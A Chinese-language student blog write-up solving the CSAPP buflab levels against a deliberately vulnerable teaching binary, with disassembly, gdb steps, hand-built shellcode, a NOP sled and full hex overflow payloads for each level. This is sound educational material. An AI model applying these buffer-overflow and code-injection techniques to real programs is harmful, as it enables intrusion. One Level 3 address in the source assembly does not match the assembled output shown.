原文地址:https://billc.io/2019/05/csapp-cachelab/
寫在前面
這是 CSAPP 官網上的第 4 個實驗 buflab,也是學校要求的第三個實驗。這個實驗比上一個單純考查匯編語言使用的 Bomblab 要難許多,需要認真理解一下程序運行時對棧幀的操作。對於自學的學生,可以前往 http://csapp.cs.cmu.edu/3e/labs.html 下載,下載后能得到一個很詳細的 pdf 文檔,需要認真閱讀才能知道作者想讓我們干什么。做這個實驗同樣也啃了很久,花了十多個小時,不過也的確是對運行時棧的理解深刻了許多。
通過閱讀官方文檔,bufbomb 在運行時會調用 getbuff 函數:
/* Buffer size for getbuf */ #define NORMAL_BUFFER_SIZE 32 int getbuf() { char buf[NORMAL_BUFFER_SIZE]; Gets(buf); return 1; }
緩沖區大小為32。一旦輸入的字符超出32個就會出現segmentation fault
,導致程序出現異常。而目標就是讓程序出現異常,執行一些常規以外的代碼。
這個實驗就是利用程序溢出的漏洞來破解幾個 level。
其中文件夾下的其他兩個二進制文件hex2raw和makecookie分別用於將十六進制的字符數據轉換成普通的字符串用於輸入,和生成一個獨一無二的cookie用於辨識作者。
根據官方文檔,如果將答案存儲在 exploit.txt 中,使用命令
cat exploit.txt | ./hex2raw | ./bufbomb -u bill
可以直接將字符串輸入到 bomb 中驗證答案。一個更有效的方法是:
./hex2raw < exploit.txt > exploit-raw.txt ./bufbomb -u bovik < exploit-raw.txt
文檔中特別提醒到,每一個exploit.txt中的答案都應當以 0X0a 結尾,表示回車符結束輸入。
在開始之前,使用objdump -d bufbomb > bufbomb.s
來獲取整個程序的匯編代碼。
Level 0: Candle
目標:執行 smoke(),而不是讓 getbuf() 返回 1。
void test() { int val; /* Put canary on stack to detect possible corruption */ volatile int local = uniqueval(); val = getbuf(); /* Check for corrupted stack */ if (local != uniqueval()) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned 0x%x\n", val); } }
在bufboms.s
的第 363 行找到了 smoke 的地址08048c18:
再研究 test 的部分匯編代碼:
08048daa <test>: 8048daa: 55 push %ebp 8048dab: 89 e5 mov %esp,%ebp 8048dad: 53 push %ebx 8048dae: 83 ec 24 sub $0x24,%esp 8048db1: e8 da ff ff ff call 8048d90 <uniqueval> 8048db6: 89 45 f4 mov %eax,-0xc(%ebp) 8048db9: e8 36 04 00 00 call 80491f4 <getbuf> 8048dbe: 89 c3 mov %eax,%ebx 8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval>
getbuff:
080491f4 <getbuf>: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax 80491fd: 89 04 24 mov %eax,(%esp) 8049200: e8 f5 fa ff ff call 8048cfa <Gets> 8049205: b8 01 00 00 00 mov $0x1,%eax 804920a: c9 leave 804920b: c3 ret
可以看到lea把buf的指針地址(-0x28(%ebp))傳給了Gets(),0x28也就是十進制的40個字節。而ebp占了4個字節,buf距離getbuff的返回地址還有44個字節。
返回地址 | 需要修改的地址 |
---|---|
ebp | – 占用4字節 |
… | … |
ebp – 40 字節 | buf 數組的初始地址 |
… | … |
ebp – 0x38 | esp,棧幀首地址 |
從文檔中得知:
Gets函數不驗證是否超出了 NORMAL_BUFFER_SIZE
,所以超出字符的就會覆蓋掉內存。
那么只要在buf開始處隨便填入44字節(0a除外,會終止輸入),然后在后面加入smoke的地址,覆蓋掉棧中的返回地址即可。
另外需要注意的是 x86 機器為小端法機器,最低有效字節在內存的前面,所以在 exploit.txt 中填入如下答案即可:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08 0a
Level 1: Sparkler
目標:調用 fizz(val) 函數,並將自己的 cookies 傳遞為參數。
研究 fizz 的匯編代碼:
08048c42 <fizz>: 8048c42: 55 push %ebp 8048c43: 89 e5 mov %esp,%ebp 8048c45: 83 ec 18 sub $0x18,%esp # ebp + 8 就是參數 val 8048c48: 8b 45 08 mov 0x8(%ebp),%eax 8048c4b: 3b 05 08 d1 04 08 cmp 0x804d108,%eax 8048c51: 75 26 jne 8048c79 <fizz+0x37> 8048c53: 89 44 24 08 mov %eax,0x8(%esp) 8048c57: c7 44 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp) 8048c5e: 08 8048c5f: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048c66: e8 55 fd ff ff call 80489c0 <__printf_chk@plt> 8048c6b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048c72: e8 04 07 00 00 call 804937b <validate> 8048c77: eb 18 jmp 8048c91 <fizz+0x4f> 8048c79: 89 44 24 08 mov %eax,0x8(%esp) 8048c7d: c7 44 24 04 40 a3 04 movl $0x804a340,0x4(%esp) 8048c84: 08 8048c85: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048c8c: e8 2f fd ff ff call 80489c0 <__printf_chk@plt> 8048c91: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048c98: e8 63 fc ff ff call 8048900 <exit@plt>
和第一個階段相比,除了破壞棧幀調用函數以外,還需要構造一個參數。我這里使用的 cookies 為 0x362d5a70。
在會變函數重能夠發現在和 0x804d108 對比,推測這里就是儲存的我們的 cookie。打印出來后發現的確是cookie:
后面的邏輯大概就是判斷 val 和 cookie 是否相等。所以這里就需要在棧幀構造出下列結構:
地址 | 解釋 |
---|---|
ebp + 8 字節 | val |
返回地址 | 應當為 fizz 的首地址 |
ebp | – 占用4字節 |
… | … |
ebp – 40 字節 | buf 數組的初始地址 |
… | … |
ebp – 0x38 | esp,棧幀首地址 |
所以這里應該注入一個 52 字節,前 44 字節為任意值,然后注入 4 字節,為 fizz 函數的首地址 0x08048c42 ,接着離第一個參數開始還有 4 個字節,隨意填充,再注入 4 個字節,為 cookies 0x362d5a70. 構造出的答案如下:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 00 00 00 00 70 5a 2d 36 0a
Level 2: Firecracker
目標:含有一個 bang 函數,和一個全局變量 global_value,需要注入機器代碼,修改 global_value 為 cookies 的值,再調用 bang 函數。
從文檔中獲得的 bang 代碼如下。
int global_value = 0; void bang(int val) { if (global_value == cookie) { printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2); } else printf("Misfire: global_value = 0x%x\n", global_value); exit(0); }
研究 bang 匯編語言的前幾行:
08048c9d <bang>: 8048c9d: 55 push %ebp 8048c9e: 89 e5 mov %esp,%ebp 8048ca0: 83 ec 18 sub $0x18,%esp 8048ca3: a1 00 d1 04 08 mov 0x804d100,%eax 8048ca8: 3b 05 08 d1 04 08 cmp 0x804d108,%eax 8048cae: 75 26 jne 8048cd6 <bang+0x39> 8048cb0: 89 44 24 08 mov %eax,0x8(%esp) 8048cb4: c7 44 24 04 60 a3 04 movl $0x804a360,0x4(%esp)
在這里可以看到程序在將 eax 的值和 0x804d100
作比較,推測 globla_value 存儲的位置就是在 0x804d100
。后面又一次出現了 0x804d108
,根據前面的分析存儲的是 cookies 的值。
所以為了修改變量值,需要將匯編代碼注入到程序當中。文檔提示我們不要使用 jmp 和 call,所以為了執行 bang 函數,要將 bang 函數的地址 push 進棧中,然后使用 ret 命令。
匯編代碼如下:
# 改變 global_value movl $0x362d5a70, 0x804d100 # 將 bang 函數的首地址壓入棧 pushl $0x08048c9d ret
接下來就是將匯編語言轉換成十六進制的機器代碼了。使用gcc -m32 -c
和 objdump -d
可以得到轉換之后的文件:
00000000 <.text>: 0: c7 05 00 d1 04 08 70 movl $0x362d5a70,0x804d100 7: 5a 2d 36 a: 68 9d 8c 04 08 push $0x8048c9d f: c3 ret
那么所有的字節就是 c7 05 00 d1 04 08 70 5a 2d 36 68 9d 8c 04 08 c3
。接下來回到 getbuff 的匯編代碼:
080491f4 <getbuf>: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax 80491fd: 89 04 24 mov %eax,(%esp) 8049200: e8 f5 fa ff ff call 8048cfa <Gets> 8049205: b8 01 00 00 00 mov $0x1,%eax 804920a: c9 leave 804920b: c3 ret
應當構造如下結構:
地址 | 解釋 |
---|---|
返回地址 | 應當覆蓋為我們輸入緩沖區的首地址 |
ebp | – 占用4字節 |
… | … |
ebp – 40 字節 | buf 數組的初始地址,從這里開始注入代碼 |
… | … |
ebp – 0x38 | esp,棧幀首地址 |
在程序運行到 lea 語句之后,使用 info registers
獲得 eax 的地址為 0x556830e8。注意到這里 eax 里的地址也是緩沖區的首地址。所以需要先在緩沖區的前面幾個字節就注入匯編代碼,然后在 44 字節之后注入緩沖區的起點地址,讓程序跳轉回來。
結合以上信息,構造下列答案:
c7 05 00 d1 04 08 70 5a 2d 36 68 9d 8c 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 30 68 55 0a
成功通過。
Level 3: Dynamite
目標:這個 Level 要求我們注入一段能夠修改 getbuf 返回值的代碼,返回值從 1 改成 cookie 值,此外還需要還原所有破壞,繼續運行 test 的剩下部分。
同樣回到 getbuff 的匯編代碼:
080491f4 <getbuf>: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax 80491fd: 89 04 24 mov %eax,(%esp) 8049200: e8 f5 fa ff ff call 8048cfa <Gets> 8049205: b8 01 00 00 00 mov $0x1,%eax 804920a: c9 leave 804920b: c3 ret
注意到在 Gets 之后,eax 會被修改為 1,所以在正常情況下函數總會返回 1。而為了改變這一行需要我們手動修改 eax 為 coockie,所以需要注入一段代碼,首先手動設置 eax 為 cookie,然后將返回地址設置為 test 在調用了 getbuf 之后的下一行 0x08048dbe
結合 test 的前幾行代碼:
08048daa <test>: 8048daa: 55 push %ebp 8048dab: 89 e5 mov %esp,%ebp 8048dad: 53 push %ebx 8048dae: 83 ec 24 sub $0x24,%esp 8048db1: e8 da ff ff ff call 8048d90 <uniqueval> 8048db6: 89 45 f4 mov %eax,-0xc(%ebp) 8048db9: e8 36 04 00 00 call 80491f4 <getbuf> 8048dbe: 89 c3 mov %eax,%ebx 8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval>
所以應當構造 Gets 的棧幀如下:
地址 | 解釋 |
---|---|
返回地址 | 設置成緩沖區的首地址 |
ebp | 占用4字節 |
… | … |
ebp – 40 字節 | buf 數組的初始地址,從這里開始注入修改 eax 的代碼 |
… | … |
ebp – 0x38 | esp,棧幀首地址 |
在最開始,同樣需要注入一句匯編語句:
movl $0x362d5a70, %eax push $0x0804920a ret
使用gcc -m32 -c
和 objdump -d
可以得到機器代碼:
00000000 <.text>: 0: b8 70 5a 2d 36 mov $0x362d5a70,%eax 5: 68 be 8d 04 08 push $0x8048dbe a: c3 ret
得到需要注入的機器代碼:b8 70 5a 2d 36 68 be 8d 04 08 c3
為了防止對棧的破壞,%ebp 是被調用者保存寄存器,是 test 在調用 getbuf 之后,getbuf 首先就就壓進了棧幀里。同時為了使程序繼續運行,需要保證 ebp 不被破壞。使用 gdb,在 getbuf 的第一行 0x080491f4
處打下斷點,研究此時 %ebp 的值。
得到 ebp 的值是 0x55683140
。所以需要注入的時候在40 – 44 字節注入保存好的 ebp 值,可以防止 ebp 的值被破壞。
總的邏輯就是先注入一段可以修改 eax 信息,並將 test 調用完 getbuf 之后的下一句代碼 push 進棧幀的機器代碼,接着在后面補充原先的寄存器狀態,最后在將返回地址設置為緩沖區的開頭部分,執行已經注入的代碼。
結合以上信息構造答案:
b8 70 5a 2d 36 68 be 8d 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 31 68 55 e8 30 68 55 0a
Level 4: Nitroglycerin
目標:使用 -n
命令運行 bufbomb,程序會開啟棧隨機化來組織攻擊代碼。需要對抗棧隨機化,實現把 getbufn 的返回值修改成 cookie 值並避免對棧的破壞。
和前面不同的是,這一個階段由於使用的是 getbufn 和 testn 函數,並且需要將一個相同的字符串輸入五次。所以需要使用命令
cat exploit.txt | ./hex2raw -n | ./bufbomb -n -u bill
來輸入字符。同時,文檔也指出在 getbufn 中有#define KABOOM_BUFFER_SIZE 512
,所以緩沖區大小為 512.
這次研究 getbufn 的匯編代碼:
(gdb) disas Dump of assembler code for function getbufn: 0x0804920c <+0>: push %ebp 0x0804920d <+1>: mov %esp,%ebp # esp 減去了 536 個字節 0x0804920f <+3>: sub $0x218,%esp # buf 的首地址空間離 ebp 有 520 個字節 => 0x08049215 <+9>: lea -0x208(%ebp),%eax 0x0804921b <+15>: mov %eax,(%esp) 0x0804921e <+18>: call 0x8048cfa <Gets> 0x08049223 <+23>: mov $0x1,%eax 0x08049228 <+28>: leave 0x08049229 <+29>: ret End of assembler dump.
在這一階段,getbufn 會調用 5 次,每次的儲存的 ebp 都不一樣,官方文檔表示這個差值會在 +- 240的樣子:
接下來使用 gdb,在 getbufn 打下斷點,連續 5 次查看 %ebp 的值,可以得到這五次 ebp 的值分別是在:
No | p/x $ebp | p/x $ebp – 0x208 |
---|---|---|
1 | 0x55683110 | 0x55682f08 |
2 | 0x556830b0 | 0x55682ea8 |
3 | 0x55683100 | 0x55682ef8 |
4 | 0x55683110 | 0x55682f08 |
5 | 0x55683180 | 0x55682f78 |
對應的,buf 的起始地址就是每一次記的 ebp 減去 208,也就是 520 字節。
所以每一次的地址是無法確認的。英文文檔中介紹了可以使用 nop sled
的方法來解決這一問題。參考 CSAPP 教材中的介紹:
所以如果在注入的攻擊代碼的前面全部填充為 nop 指令(nop 指令的機器代碼為 0x90),只要最后的返回地址落在了這一大堆 nop 指令中的任意一個,程序就會一直 nop 下去,直到運行到我們注入的匯編代碼,而不會因為跳轉到了我們注入到的有效代碼中間某個位置而出現意想不到的結果。
因此,在注入代碼的時候,有效的機器代碼應當盡可能地往后放,在前面都填上 nop,也就是 0x90。
接下來需要處理的問題是注入並覆蓋 ebp 后,把正確的 esp 還原回去。研究 testn 的部分匯編代碼:
Dump of assembler code for function testn: 0x08048e26 <+0>: push %ebp 0x08048e27 <+1>: mov %esp,%ebp 0x08048e29 <+3>: push %ebx 0x08048e2a <+4>: sub $0x24,%esp 0x08048e2d <+7>: call 0x8048d90 <uniqueval> 0x08048e32 <+12>: mov %eax,-0xc(%ebp) 0x08048e35 <+15>: call 0x804920c <getbufn> 0x08048e3a <+20>: mov %eax,%ebx 0x08048e3c <+22>: call 0x8048d90 <uniqueval>
在每一次調用了 getbufn 之后,ebp 的值將會被 push 進去。這個 ebp 值是等於 testn 被調用的時候 esp 存儲的值的。esp 先由於push ebx而減去了4,再手動減去了0x24,所以這個時候 exp + 0x28 的值就是傳入了 getbufn 開始的時候 ebp 的值。
所以構造出來的匯編代碼如下:
lea 0x28(%esp), %ebp mov $0x362d5a70, %eax push $0x08048e3a ret
得到機器代碼:
00000000 <.text>: 0: 8d 6c 24 28 lea 0x28(%esp),%ebp 4: b8 70 5a 2d 36 mov $0x362d5a70,%eax 9: 68 3a 8e 04 08 push $0x8048e3a e: c3 ret
整理得 8d 6c 24 28 b8 70 5a 2d 36 68 3a 8e 04 08 c3
根據以上分析應構造的棧幀結構如下:
地址 | 解釋 |
---|---|
返回地址 | 設置成幾個緩沖區首地址的最小值,然后使用nop sled運行下去 |
ebp | 占用4字節,會被破壞,所以要還原 |
… | … |
ebp – 520 字節 | buf 數組的初始地址,從這里開始注入代碼 |
… | … |
ebp – 0x218 | esp,棧幀首地址 |
結合得到的 5 次 buf 首地址,應該讓程序跳轉到地址最高的一次,然后一路 nop sled。最大的地址為 0x55682f78
,應當填入第 524 字節。所以構造答案如下:
/* 505 字節的 nop */ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* 注入的代碼 */ 8d 6c 24 28 b8 70 5a 2d 36 68 3a 8e 04 08 c3 /* 覆蓋 ebp */ 00 00 00 00 /* 破壞返回地址 */ 78 2f 68 55
經驗證五次結果均滿足要求。All done.
寫在后面
太可怕了,寫完這個又是凌晨三點了。
我愈發開始敬佩這些實驗的作者,CMU的計算機不愧是地球第一。然而馬上又要開始啃下一個實驗了。不愧是華師軟院,一禿再禿,一禿到底。
由於實在是懶得在 wordpress 上排版,這里的正文部分是直接復制的我 GitHub 里的文件。如果不幸圖片加載出現了問題,這里應該有排版良好的實驗報告:GitHub 傳送門